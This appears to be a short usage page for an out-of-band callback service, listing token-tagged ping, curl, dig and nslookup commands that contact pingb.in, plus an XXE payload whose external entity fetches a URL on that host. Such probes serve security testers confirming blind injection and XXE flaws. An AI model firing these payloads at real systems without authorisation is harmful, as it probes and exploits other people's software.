$ ping -c1 -p 009008966feda9e75aace5a2aae35d00 pingb.in
 

$ curl pingb.in/p/9008966feda9e75aace5a2aae35d
 

$ dig 9008966feda9e75aace5a2aae35d @pingb.in
 

$ dig 9008966feda9e75aace5a2aae35d.ns.pingb.in
 

C:\> nslookup 9008966feda9e75aace5a2aae35d pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/9008966feda9e75aace5a2aae35d">]>
    <foo>&xxe;</foo>